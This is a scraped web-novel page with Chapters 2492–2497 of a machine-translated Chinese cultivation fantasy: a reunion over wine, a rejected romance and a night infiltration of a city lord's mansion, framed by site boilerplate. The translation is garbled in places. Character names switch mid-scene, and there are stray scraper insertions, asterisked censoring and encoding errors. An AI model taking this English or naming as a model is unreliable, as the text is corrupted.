    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    In the middle of the night, the streets of Yunxiao City were still very lively, but the teahouse facing the street had closed early.


    Some addicted tea lovers wanted to knock on the door, but found that there was a sign on the door that asked for leave, and they had no choice but to leave.


    At this moment, in the small courtyard behind the teahouse, Xiaotian asked in a low voice: "Master, did you take in this woman of unknown origin? Isn''t it a bit too sloppy?"


    "Why do you say that? Or you don''t believe her?" Yang Jian turned his head and glanced at Shuotian, and asked with a smile.


    "It''s not that I don''t believe it. I just feel that this woman has never known us, and she will take it in based on what she said today. Isn''t it a bit too fast?"


    "After all, knowing people, knowing the face and not knowing the heart, although this woman has hatred with evil things, after all, she was born in the unpredictable land of Witch Gu. God knows if she has any secrets on her back!"


    Yang Jian looked at the cautious snarling, and nodded approvingly, "It''s right for you to think so, but I have my own measure of this matter. It''s not that you want to take it away as soon as your head is hot!"


    Xiaotian breathed a sigh of relief, "That''s good, then master, please rest early, I''ll go down first, you can call me anytime if you have anything to do!"


    Xiaotian knew that the Yang Jian in this life was weak and had the habit of sitting quietly before going to bed, so he quit early.


    In an instant, only Yang Jian was left in the small courtyard.


    At the moment when the moon was in the middle of the sky, the earth illuminated by the sky was bright, Yang Jian stood still in the courtyard for a while, and then sighed faintly.


    "Another ethnic group has a heavy hand, and this evil is intensified. I really don''t know when it will be the head!"


    Although he was very calm in front of Xu Tian during the day, he was always worried deep in his heart.


    In particular, the Hundred Schools Conference is about to be held soon. These evil things are obviously planning a shocking conspiracy, but the various factions have not even noticed this. If this is a little careless, it is likely to turn into an event. A catastrophe.


    Although as a Chinese **** born and raised on the earth, Yang Jian has no affection for the sect family of this sky, but he still does not want more people to be poisoned by this evil thing.


    After all, the more power on the outer side of the sky, the more blocking against evil things.


    In fact, the Yang Jian at this moment has been very soberly aware that this outer sky is like a moat, blocking the evil things and the heavens.


    So this world is not to be missed.


    Under this kind of worry, Yang Jian didn''t feel a little sleepy, and started to daze when sitting under the tree in the small courtyard.


    The night became cold and cold, until Yang Jian Ji Lingling shuddered, only to realize that he had been sitting under the tree for an hour.


    His body in this life is extremely weak, even weaker than ordinary people, so these slight chills made him somewhat unbearable.


    Yang Jian sighed lightly, and there was no trouble screaming, so he went back to the house and took out a tea set, and then sat under the tree and started to make tea.


    The charcoal fire in the sterling silver hand furnace is like jade, and the warmth it brings has also slightly dispelled some of the cold.


    Yang Jian moved his stiff hands, and then began to prepare tea sets.


    But at this moment, there was a chuckle on the courtyard wall not far away.


    "On such a night, if you don''t drink, wouldn''t it be worthy of this great moonlight?"


    Hearing this sound, Yang Jian''s whole body shook, but immediately the corners of his mouth gradually raised, and then put down the teacup in his hand and raised his head to look into the distance.


    I saw a figure standing proudly on the courtyard wall, and the white clothes on his body swayed with the wind, like an immortal coming by the wind.


    Yang Jian smiled slightly, "That''s right, it''s such a moonlight, I really should drink a few swigs!"


    The young man also laughed. In the laughter, his figure appeared in front of Yang Jian inadvertently, and then said in a calm tone: "Erlang Shenjun, long time no see!"


    Yang Jian smiled softly, "Long time no see!"


    Of course the person who came was Xue An.


    I saw him alone, without Yue Qinghuan by his side, and after seeing Yang Jian, his eyebrows and eyes were smiling.


    "After many years, I didn''t expect to meet you here!"


    "Yeah, many years have passed!"


    As he said, Yang Jian looked at Xue An with clear eyes, "I still owe you a thank you for what happened back then!"


    Xue An waved his hand, "Don''t mess with these imaginary things. If you really want to thank me, then hurry up and put the wine on it!"


    Yang Jian was startled, and immediately laughed, "Okay! Then I will accompany you to drink a few swigs tonight!"


    Naturally, there is wine in the teahouse, after all, no matter how fragrant the tea is, it can''t compare to the mellowness of fine wine.


    What''s more, the more you drink the tea, the more sober you are, but the more you drink, the more intoxicating you are.


    Therefore, after drinking tea for a long time, people often need to drink some wine to neutralize it.


    Sometimes people who are too sober tend to be very tired. Occasional indulgence is more joyful.


    Like now.


    The wine is on the table, but the dishes are only two simple snacks.


    But even so, the two of them were still in high spirits, and they filled a glass of wine together, and then drank it.


    As the drink entered his throat, Yang Jian suddenly coughed violently, which also caused two sickly flushes on his pale face.


    Xue looked quietly, his eyes seemed to be compassionate, but he didn''t make any movements.


    After a while, Yang Jian finally breathed his breath well, and then chuckled softly: "Happy, really happy!"


    Xue An put down his wine glass and whispered softly: "It''s hard for you over the years!"


    "What do you say these things for? In fact, I thought I was completely dead at the time, so I am very satisfied to be able to live this life later!" Yang Jian laughed.


    Seeing the open-minded smile on Yang Jian''s face, Xue An finally laughed, "Speaking of which, this guy is really lucky, and he actually found you!"


    "Yes! Everything is as if there is an invisible hand touching everything in the dark!" Yang Jian said softly. UU Reading


    Xue An was silent for a moment, then raised his glass, "Come on, drink!"


    After another glass of wine, I didn''t cough this time, except that the mole between my eyebrows was red as if it was about to burn.


    This also makes him more and more beautiful!


    That''s right!


    With Yang Jian''s current appearance, we really need to use the adjective "beautiful".


    Xue An couldn''t help sighing when he saw this, "No wonder that Lei family daughter has a deep root of affection for you, just like you are now like a wicked evildoer, not talking is enough to attract bees and butterflies!"


    Hearing this, Yang Jian was bitter, "Have you seen the Lei girl?"


    "Well, I came from Jiducheng this time, and the daughter of the Lei family will arrive soon!"


    Yang Jian was taken aback, "She wants to come too?"


    "Of course I am coming! After all..."


    Xue An hurriedly smiled, "She has to ask why you want to behave at her and finally abandon her!"


    Yang Jian smiled bitterly, "I left there for a reason, but between me and this girl Lei..."


    Xue An waved his hand, "Don''t say these things to me, but save them after seeing the Lei girl tomorrow!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2492 Reunion of the deceased), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2493： Various past

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Yang Jian was dumbfounded, "It seems that you won''t believe anything I say now!"


    Xue An laughed, "Believe it or not, what''s the use? The point is that Miss Lei has to believe it!"


    Yang Jian sighed helplessly, "All right, I''ll tell her in person tomorrow!"


    Xue An was noncommittal, "Come on, drink!"


    After drinking another glass of wine, Yang Jian put down the wine glass and said sternly: "Xue An, can you notice anything abnormal in this Hundred Schools Conference?"


    Xue An nodded, "Of course! Actually, the reason why I came alone this time is to investigate the traces of these evil things in advance!"


    Hearing Xue An''s words, Yang Jian felt relieved. It seemed that he knew these things.


    Then Yang Jian asked, "Oh? Did you find anything?"


    "I found some very serious things. In this Hundred Schools Conference, the evil things moved so much that they even directly infected some sects, controlling all of these sects and turning them into puppets!"


    "What?" Yang Jian was startled, "Is there such a thing?"


    "That''s right! Among them, all I know is the real martial arts veins of Taoism, as for the others that I don''t know, there are even more!"


    Yang Jian''s complexion became serious. If the matter is really as Xue An said, it would be too serious in nature.


    Because you don''t know which one of these hundreds of sects is true, and which is a puppet controlled by evil things.


    "No wonder the evil things'' movements have become more frequent recently. It turned out to be because of this!" Yang Jian whispered softly, and then recounted what had happened during the day.


    "Oh? A descendant of the ghost country in the land of Witch Gu?" Xue An was taken aback, and immediately smiled: "In this case, things will be right, because I had passed by the land of Witch Gu before coming to Yin Yang House, and then I was saved. A tribe of the Jingman clan!"


    Having said that, Xue An roughly recounted what happened in the land of Witch Gu.


    After they finished speaking, both of them were silent for a moment, and then drank the glass of wine again.


    "Since this is the case, what are you going to do?" Yang Jian asked.


    Xue An shook his head, "I don''t have a specific plan right now. After all, I don''t know what kind of situation the Hundred Schools Conference will be, so I can only do things cheaply after the conference is held!"


    Speaking of this, Xue An smiled, "But don''t worry too much, after all, soldiers are here to block the water and land, and these evil things are nothing great!"


    The strong self-confidence revealed in the words also infected the impotence, I saw him also laugh.


    "Yes, during this period of time, Xiaotian and I have been secretly destroying the evil creatures that have sneaked in. We discovered that although the abilities of these evil creatures are weird, their strength is far less powerful than we imagined! It might be due to the small soldiers!"


    Xue An shook his head, "You are wrong, I feel that the internal composition of these evil things is actually very similar to the human race, the strong are always a minority, and the most numerous are these ordinary existences!"


    "It''s just that the evil things we''ve come into contact with are all high-level existences, that gives us the illusion that these evil things are strong!"


    Yang Jian nodded, and suddenly thought of something, "What happened in the back of the heavens?"


    Xue An knew that he was asking about what happened in the heavens after his body fell into reincarnation, so he picked out the important things among them and probably recounted them.


    Even though it is very general, when Yang Jian heard that evil things had assembled an army to invade the heavens, the Buddhist patriarch was willing to enter Nirvana in order to block the entrance, and Xue An even united the forces of the entire heavens to fight the enemy bravely. A deep horror still appeared on the top.


    "Did so many things happen to the heavens behind? Are all these evil things wiped out?"


    After saying this, Yang Jian felt stupid and couldn''t help closing his mouth.


    After all, if the evil things were not wiped out, how could Xue An appear unharmed in this outer sky?


    Xue An smiled, "Of course the evil things are extinct, but I deduced from the clues that there are obviously deeper secrets hidden behind, so I came to this heaven and heaven to find the ultimate truth."


    Yang Jian nodded, "Yes, since Xuantian reunited with me, I have been searching for the truth behind the war that year, and found that all the clues point to these evil things. Nevertheless, I have spent the past few years. After all twists and turns, I couldn''t collect more information!"


    At the end, a touch of shame appeared on Yang Jian''s face.


    Xue An smiled and shook his head when he saw it, "Well, no need to blame yourself. After all, you have done well enough. If I am you, it is impossible to do what I am now! And I have a hunch, many The mystery will be revealed at this conference."


    "I hope so!"


    The two drank their cup of wine in silence. At this moment, the moon fell on the treetops, and the small courtyard was unusually quiet.


    Xue An suddenly laughed, "Speaking of speaking, General Shuotian should also be called, after all, there is a happy event I haven''t told him yet!"


    "Oh? What a joyous event?"


    "Do you remember that Jiang Xunnan back then?"


    "That''s the princess of the Golden Dog tribe?"


    "Yeah! At first, Xiaotian and this girl Jiang had already set a life, but Xiaotian had to leave in order to find your trace. Before he left, this girl Jiang was already pregnant!"


    "When the great battle between the heavens, all the people who hate the heavens were also present, and among them was this girl Jiang. At that time, she led a cute little girl, who was the daughter of General Xu Tian! Isn''t this a happy event?"


    Hearing this, Yang Jian couldn''t help laughingOf course it was a happy event, and it was a confession! "


    As he said, he drank all the wine in the glass, ignoring the already red complexion.


    He is really happy for Roaring.


    After all, in the so many years that Xuantian followed him, except for the first days in the heavens, the rest were spent in displacement.


    Now that Xiaotian not only has a family, but also becomes a father, Yang Jian is naturally very happy.


    At this moment, Xue An suddenly said, looking at the excited yang Jian.


    "There is one more thing I want to tell you. The jade pendant that you gave me before you died, I have already transferred it to the Nine Heavens Profound Girl!"


    As soon as he said this, the smile on Yang Jian''s face instantly solidified, and finally bowed his head, silent.


    Xue An also didn''t say a word, but looked at him quietly.


    After a long time, Yang Jian just sighed slightly: "In fact, I knew that the Empress Xuantian of the Pharmacist Alliance should be her a long time ago!"


    "But I don��t have the courage to face her. After all, ten thousand years have passed. For her, I may have been a dead bone. So if I rashly appear in front of her, it is likely to disturb her now. life!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2493 Various Past), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2494： Such as morning dew

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "So you deliberately avoided her?" Xue An said lightly.


    Yang Jian nodded.


    Xue An sighed softly, "Do you know where I was when I handed her the jade pendant?"


    "where?"


    "It''s in a temple, and what is enshrined in it are all the Chinese gods who died in battle. Among them, your spiritual position is at the forefront! There is not even the slightest dust on it, and your name has already appeared deep. The deep groove is obviously caused by being touched frequently!"


    After listening to Xue An''s words, tears loomed in Yang Jian''s eyes.


    "Really...Is it true?"


    "If you don''t believe me, you can wait for her to come and ask her in person!"


    "I believe it, I believe it! How can I not believe it? I just can''t believe that I will be so lucky!"


    When talking about this, Yang Jian raised his hand and gently wiped the tears from the corners of his eyes.


    "Come on, today you and I are neither drunk nor return!"


    "Well, don''t get drunk or return!"


    For the celestial body of the moon, the Yin-Yang family has an inexplicable worship, which can be seen from their names, such as the middle monarch of Yuehua.


    Therefore, almost all the planets of Yin Yang Family will be placed with a moon-like satellite.


    The planet where Yunxiao City is located is naturally no exception.


    When the huge moon finally sank slowly into the horizon, Yang Jian was already drunk and unconscious.


    I saw him lying on the table, whispering something in his mouth, and at the same time the whole body shrank together, which made me feel pity.


    Xue An''s eyes were very clear, not even a trace of drunkenness.


    "With so much on my back, it''s not bad to get drunk once in a while, get a good night''s sleep!"


    After that, Xue An stood up, consciously or unconsciously glanced at a room in the corner, and then it dissipated like water mist.


    His body hadn''t reached Yunxiao City at this moment, but sent a clone to contact Yang Jian first.


    And when he left, in that room, the ghost country girl trembled all over, and then a look of horror appeared in the single eye.


    "Can you actually perceive my prying? This person''s spirit is so powerful!"


    Just now when Xue An and Yang Jian were talking and drinking, they blocked all the information with their spirits.


    But this ghost country girl has vaguely noticed something because of her special technique.


    But it was not until Xue An left that she was sure that there was indeed one more person in the courtyard.


    And it''s an existence that he never dared to provoke.


    This pressure did not disappear until Xue An left.


    After hesitating for a while, the ghost country girl walked out of the room, and then saw Yang Jian who was drunk under the tree.


    Seeing him unconscious, the girl of the ghost country hesitated a little, then waved her hand, a black phantom stepped forward and lifted Yang Jian, leading him back into the room.


    At the same time, in the city lord''s mansion of this Yunxiao City, the monarch of Yuehua was sitting in distress, closing his eyes and meditating.


    As the master of this city, when he is meditating, his own divine mind is like the omnipresent moonlight, integrating with the entire city.


    In this mysterious realm, he can clearly feel the joys, sorrows, sorrows and joys of the people living in this city.


    He is like a **** who controls everything, overlooking the whole world.


    But under this situation, suddenly, a figure that shouldn''t have appeared here broke this mysterious realm.


    It was like throwing a stone in a pond, and the calm water was instantly broken.


    All the mysterious scenes converged in an instant, and the divine consciousness returned to the body of the middle monarch Yuehua, and then he slowly opened his eyes, and a strange color flashed in his eyes.


    "Xue An?"


    After all, he looked contemplative.


    "Interestingly, people rumored that you have preached a saint, I still don''t believe it, I didn''t expect it to be true!"


    "In this way, the battle book that Shen Muyu gave you will also become interesting. It seems that this year''s Hundred Schools Conference is really lively and tight!"


    The Lord Yuehua sighed softly, and then his figure turned into moonlight and dispersed into the world again.


    It turns out that the person who meditates here is actually a clone.


    The second day.


    Lei Qian hurried to the road, wishing to rush into Yunxiao City to see Yang Jian and ask what happened.


    Xue An didn''t have any obstacles to this.


    Although he had sent a clone to contact Yang Jian in advance last night, he didn''t plan to tell this girl Lei the truth now.


    After all, this kind of villain still has to be done by Yang Jian himself.


    But although he didn''t make any statement, this pan Lei Zun caught the opportunity, and he was very courteous to Lei Qian.


    "Miss, do you want to rest for a while, and then I will fly you with mana! This way you can also relax!"


    "No need!"


    "Would you like a sip of tea, then?"


    "Not thirsty!"


    "Before leaving, my adoptive father gave me some delicacies. Would you like to have a few bites?"


    "Not hungry!"


    "that��."


    Lei Ling stopped abruptly, and shouted fiercely at the pan Lei Zun: "Can you shut up? You have been buzzing in my ears since you started talking about the capital! It''s so annoying, don''t you know? know?"


    But she still underestimated the thickness of Pan Lei Zun''s face, and saw him rub his hands and smile.


    "Miss, isn''t this what the foster father told me before leaving? I want me to take good care of you!"


    "Frying pan, let me say it one last time, I don''t need it, please shut up!" Lei Qiang roared.


    Pan Lei Zun was a little aggrieved, and whispered: "Okay...Okay! But..."


    "But what?" Lei Qiang said angrily.


    This always gentle girl who didn''t even dare to speak loudly, and was very shy, was like a different person at this moment, with a very grumpy temper.


    "Miss, UU reading , I actually have a name, and my foster father and my master personally gave me Lei Ping, so... I don''t call Pan Pan!"


    Lei Ling was stunned, and then said somewhat unnaturally: "Who cares what your name is, don''t bother me anymore!"


    Having said that, she rushed in the direction of Yunxiao City.


    Pan Lei Zun, oh it should be called Lei Ping now, he stood there a little embarrassed, and then smiled at Xue An.


    "Master, the foster father said before leaving that the eldest had a gentle temper, and he asked me to take good care of her and save her being bullied, but why didn''t I see her gentleness at all?"


    Xue An was a little bit ridiculous, "It may be that she is in a bad mood recently!"


    He does not mean that.


    Xue An''s words caused Lei Ping to fall into a state of contemplation for an instant.


    Are you in a bad mood lately?


    Could it be... here it is?


    This thought made Lei Ping tremble all over, even though he was sure that he had found the cause.


    Then he rushed up again excitedly.


    But before I waited to say a few words this time, I heard the roar of Lei Qiang from a distance again, and then a thunderbolt fell on Lei Ping''s head.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2494, for example, the morning dew), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2495： You are a good girl, but Im sorry.

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    When Xue An and Lei Qiang set foot in Yunxiao City, this Lei Ping finally got down.


    Because he is not honest and can''t do it anymore, Lei Qiang used practical actions along the way to prove how terrible a woman in a manic period of love is.


    He, who is also Lei Zun, was almost scattered by thunder and lightning, can you believe it?


    After entering Yunxiao City, Lei Qiang couldn''t help being a little bit difficult when facing this huge city that was too large to imagine.


    "Xue...Mr. Xue, where are you going to find Young Master Yang?"


    Xue An smiled, "Come with me!"


    Then he led them to the teahouse.


    The hangover last night caused Yang Jian to still have a headache, so the teahouse has not opened today.


    Xue An led them to the door of the backyard and coughed softly.


    "The person you are looking for is here!"


    Although it is not clear how Xue An knew about the whereabouts of Young Master Yang, Lei Qiang didn''t care about that much at this time.


    She licked her lips excitedly, then raised her hand to knock on the door.


    Just then the door opened.


    It was Xiaotian who opened the door.


    At this moment, he had learned of Xue An''s arrival from Yang Jian, so he shouted in surprise after opening the door.


    "Mr. Xue!"


    Xue An smiled slightly, "Can Young Master Yang be inside?"


    The angel snarled with a wink.


    It wasn''t until then that Xiaotian noticed Lei Qiang who was standing in front of the door, crying, and only felt that his head was big for a while.


    As a person who lived in Jiducheng with Yang Jian, he naturally knew this girl Lei and understood why she came here at the moment.


    And thinking of the two of them leaving without saying goodbye at that time, Xiaotian felt a little embarrassed.


    "Lei...Lady Lei!"


    Lei Qiang took a deep breath, "General Xiao, please get out of here!"


    At that time, Xiaotian had always called himself as General Xiao in Jiducheng.


    "Uh..." Suddenly, Xiaotian was taken aback when he heard a faint voice behind him.


    "Scream, let Miss Lei come in!"


    Hearing this familiar voice, Lei Qiang shook his whole body, and then strode into the courtyard.


    The first thing that caught your eye was Yang Jian sitting under the tree.


    After seeing him sitting there quietly, Lei Qiang took a deep breath and controlled himself not to cry.


    At this moment, Yang Jian smiled at her slightly, "Miss Lei, you are here! Please sit down!"


    Lei Qian walked to the table, sat opposite Yang Jian, and then did not speak, just watched Yang Jian quietly.


    The atmosphere in the small courtyard suddenly became awkward.


    Xue An looked up at the sky, "Today''s weather is pretty good!"


    Xiaotian echoed: "Well, it''s not bad!"


    "Why don''t we go outside for a walk!"


    "Alright!"


    The two immediately turned around and walked outside the courtyard.


    Although Yue Qinghuan wanted to see the next Shura Field very much, Xue An was helplessly winking at her, so he turned around and walked out.


    In an instant, Yang Jian and Lei Qiang were left in this small courtyard.


    After a long time, Lei Qiang took the lead to speak, and said in a faintly resentful tone: "Don''t you want to say something?"


    Yang Jian smiled bitterly, "Miss Lei was really sorry, I was indeed in a hurry at the time, so I left without saying goodbye..."


    Lei Qiang interrupted Yang Jian''s words suddenly, "I came here to find you so far away, do you just want to tell me this?"


    As he said, Lei Qiang looked at Yang Jian with piercing eyes, "You should know what I want for you."


    Yang Jian was silent, and only after a while did he whisper: "I''m sorry!"


    As soon as these three words came out, Lei Qiang''s eyes burst into tears, "I''m sorry...why do you want to say this? I don''t want to be sorry, I want to be worthy!"


    "Do you know that the time I was with you was the happiest time in my life?" Lei Qiang lowered his head and whispered.


    "I have no friends. Everyone treats me respectfully, but I know it''s because of my father. They respect the rights my father holds, not me. Only you really regarded me as a friend at the time. ."


    "So I like you, it''s so simple, that I can come here to see you for you, but you just want to say sorry to me?"


    "So I just want to hear from you personally, is it so difficult to like me?" Lei Qian said with red eyes.


    Yang Jian finally slowly said after a long silence: "You are a good girl, but I''m sorry, I already have someone I like!"


    This sentence was like a sharp needle that pierced Lei Qian''s chest fiercely.


    Lei Qiang''s complexion turned pale, and he said in despair, "Who is that person?"


    "A... someone I knew a long time ago!" Yang Jian said softly.


    Outside the courtyard, Yue Qinghuan and Xue An were chatting.


    "What do you think the outcome of this conversation will be?" Yue Qinghuan asked.


    Xue An smiled, "This girl Lei is destined to fail!"


    "Oh? Are you so sure? You must know that this girl Lei is extremely beautiful, especially the soft and cute temperament, don''t you guys like this one?"


    Xue An shook his head, "It doesn''t matter whether she is beautiful or not, but that this relationship is destined to have no results from the beginning! If you don''t believe me, I can make a bet with you!"


    "Oh? What to bet on?" Yue Qinghuan came interested.


    "If Yang Jian really accepts this girl Lei, then I will count as a loss. Then you can ask me to do anything! Vice versa, dare you?"


    Seeing Xue An''s confident expression, Yue Qinghuan pondered for a moment, then smiled.


    "Okay, then I''ll bet with you! Don''t regret it."


    Seeing the smile on Yue Qinghuan''s face, Xue An suddenly felt something wrong, faintly feeling trapped.


    what happened?


    Could it be that I have neglected something?


    But no matter what, he didn''t believe that Yang Jian could accept this Lei Qiang.


    Xiaotian on the side was in a state of being completely empty. He did not hear the conversation between Xue An and Yue Qinghuan and this situation told him from Xue An that Jiang Xunnan has been smooth. It started when he gave birth to a daughter.


    At this moment, there was a thought in his mind constantly.


    I''m a father!


    I''m a father!


    At this moment, the gate of the courtyard was suddenly opened, and then Lei Qiang hid his face and rushed out of it, crying bitterly, and ran away.


    Upon seeing this scene, Yue Qinghuan couldn''t help being stunned.


    Xue An said lightly: "You lost!"


    A faint smile appeared on Yue Qinghuan''s face, "Yes, I lost!"


    There was not the slightest frustration between the words, but rather looked forward to.


    This time it was Xue An''s turn to be a little dazed.


    Lei Ping on the side said anxiously at this time: "Master, will Miss Lei be in danger if she runs alone, do you want me to catch up to protect her?"


    "Don''t forget it, she''s already annoying you enough on this journey. At this time, if you show up in front of her, it is estimated that things will aggravate things even more, so let me go!" Yue Qinghuan said.


    Then she smiled at Xue An, "Don''t forget the bet between you and me!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 2495 You are a good girl, but I''m sorry.) Read the record and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2496： Baiyi Night Walk

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    After that, Yue Qinghuan chuckled lightly and went to chase Lei Qiang.


    Xue An was startled slightly, and immediately laughed, "You guys wait outside for a while!"


    Then he turned and walked into the small courtyard.


    At this moment, Yang Jian was still sitting under the tree in the small courtyard. After hearing the sound of footsteps, he did not even lift his head.


    "Have you gone chasing Thunder girl?"


    "A friend of mine is here, don''t worry, nothing can happen!" Xue An sat opposite Yang Jian and said with a smile.


    "Seriously, I knew you would refuse, but I didn''t expect you to refuse so simply!"


    Yang Jian looked up, "Are you laughing at me or ridiculing me?"


    "Neither, I just want to sigh, after all...it''s the most difficult to accept the grace of a beautiful person!"


    "Last night you told me about Xuan Nv, which touched me a lot. Since she hasn''t defeated me for so many years, then naturally I can''t take her."


    "As for this girl Lei..." There was a bleak expression in Yang Jian''s eyes, "In fact, she herself didn''t even figure out whether her feelings for me were the love of men and women or the pure admiration of a young girl."


    "So I can''t accept it!"


    Xue An nodded, "That''s fine, long-term pain is worse than short-term pain!"


    Then he changed the subject, "Now that you and I are in one place, I am ready to do it tonight, and you are responsible for guarding the rear, understand?"


    "Do it? How are you going to do it?" Yang Jian was surprised and asked immediately.


    "I am going to sneak into the city lord''s mansion, detect the entire Yunxiao City through the magic circle there, and then find the hidden evil thing from it!" Xue An said.


    The tone was flat, as if to say a trivial thing.


    You must know that there are many restrictions in this Yunxiao City, even with Xue An''s spiritual thoughts, it is difficult to walk, so if you want to detect the entire Yunxiao City, the only way is through the pre-buried magic circle under the City Lord''s Mansion.


    Yang Jian''s complexion changed drastically, "How can this be done? You must know that the city lord of Yunxiao City is the master Yuehua Zhongjun who is ranked in the entire Yinyang family. You are too risky to do this, I don''t agree."


    "I have my own measures, and with my current strength, as long as I sneak in quietly, I will never disturb other people!"


    "It''s still too risky. The Moon Huazhong Monarch is extremely powerful, and he has been operating here for many years. The City Lord''s Mansion is so inflexible, where can it be sneaked into it so easily?" Yang Jian frowned.


    "Don''t worry, since I dared to do this, I naturally have my plan. As for the monarch of Huazhong this month..."


    Xue An''s expression became cold, "I and him are considered acquaintances. If he really finds out, then I happen to have an account to settle with him!"


    Seeing Xue An''s expression, Yang Jian knew that it was useless to say more, so he nodded.


    "Okay! Then you can be more careful!"


    "Well, I naturally understand this. You are guarding in this teahouse. If I don''t come back by the day of tomorrow, you will immediately take everyone out of here. Don''t delay, you know?" Xue Anzhengshi Tao.


    Yang Jian''s expression also became serious, and he nodded and promised, "Understood!"


    By the time Xue An got up and left the courtyard and came to the door, Yue Qinghuan had already returned with Shiran.


    "Where''s that girl Lei!"


    "I found an inn for her to stay, let her calm down first, and it''s best not to see that Young Master again during this time, it will help her to get out as soon as possible."


    "Well, so good!"


    Yue Qinghuan looked at Xue An with a smile, "Now it''s time to talk about the matter between the two of us. I lost the bet just now. Now you can let me do anything, just talk!"


    A charming young girl said to a man that you can let me do anything next, which in itself is full of temptation.


    At least Xue An seemed to be shocked, looking at Yue Qinghuan in amazement.


    Yue Qinghuan''s cheeks were slightly red, "What do you look at, say quickly, otherwise you won''t have a chance when I regret it!"


    As she said, she lowered her head and waited quietly.


    At this moment, she heard footsteps, and it was obvious that Xue An was coming here.


    Yue Qinghuan''s heart thumped and throbbed.


    My heart is faintly full of expectation and anxiety.


    At the same time, Xue An stopped and stood in front of Yue Qinghuan.


    Although he did not look up, Yue Qinghuan could still smell the faint fragrance of grass coming from him.


    He...what is he doing here?


    Could it be...


    Yue Qinghuan''s face couldn''t help turning red, and his whole body trembled slightly with excitement.


    But when she was full of expectations, she only heard Xue An smile softly: "If this is the case, then I''m not welcome!"


    "Uh... Uh!" Yue Qinghuan replied heavily, twisting his fingers at the corners of his clothes, and was already ready.


    But in the next second, what Xue An said made her look forward to nothing.


    "I''m going out to do something tonight. You will protect Yang Jian''s safety in this teahouse, and the rest will wait until I come back. Is this okay?"


    Yue Qinghuan raised his head instantly, just in time to meet Xue An''s smiling eyes.


    Then Yue Qinghuan felt that the blush on his face quickly faded, replacing it with an empty loss.


    "that''s all?"


    "Otherwise, what do you think?" Xue An asked rhetorically.


    Yue Qinghuanqiang concealed the loss in his eyes, and then said carelessly: "I thought you would say something, that''s it, this girl promised you! But can you tell me, what are you going to do tonight?"


    "Is this...you will know when you wait!"


    "Cut, don''t talk about pulling it down, it seems like someone is rare, and the mystery of the gods can''t do any good things!" Yue Qinghuan said angrily.


    Xue An smiled, ignored Yue Qinghuan''s angry words, turned and left.


    "Hey!" Yue Qinghuan shouted from behind.


    "Is there anything else?" Xue An didn''t turn his head back.


    "No matter what you do tonight, remember to be careful, I don''t want to collect your body!" Yue Qinghuan shouted.


    "Don''t worry, I can''t die if you die!"


    After all, Xue An left in stride.


    After he left, Yue Qinghuan''s eyes filled with tears, UU read and wiped the corners of his eyes severely.


    "Damn, I wanted to give you a trap, but I didn''t expect to sell myself. What a cunning guy! Bah, it''s unlucky to be fascinated by the wind."


    Time passed in a flash, and soon came the night.


    The entire Yunxiao City was shining brightly, singing and dancing rose to the level.


    But it was quiet near the city lord''s mansion.


    Eight tall watch towers are built around this city lord''s mansion, which are like sentries standing in the dark, frightening all those who have bad intentions.


    In fact, since the large families settled in this Yunxiao City, the coveting and spying on it has never stopped.


    But after leaving behind many corpses and returning without success, no one finally dared to show any disrespect to this tall and majestic City Lord''s Mansion.


    But just under today''s night, a white figure appeared not far from the city lord''s mansion.


    Looking at the eight watchtowers, Xue An smiled, and then stepped forward, without the slightest intention of hiding his whereabouts.


    Even the white robe on him was blown by the night wind, making it even more conspicuous.


    The so-called night walk in white clothes is nothing more than that.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2496 White Clothes Night Walk), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2497： Turn into a breeze

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    But in this situation, when Xue An crossed the boundary that symbolized the influence of the City Lord''s Mansion, these watch towers did not even change at all, and still stood silently there.


    Immediately afterwards, Xue An raised his head to look at the Huayue in the sky, and then the whole person dissipated silently, merged with the moonlight, and quietly sneaked into the city lord''s mansion.


    This city lord��s mansion is rigorous in layout, integrated inside and outside, and it can be said to be heavily guarded and as solid as gold.


    The reason for this strict defense is that there is a large formation buried under this city lord''s mansion.


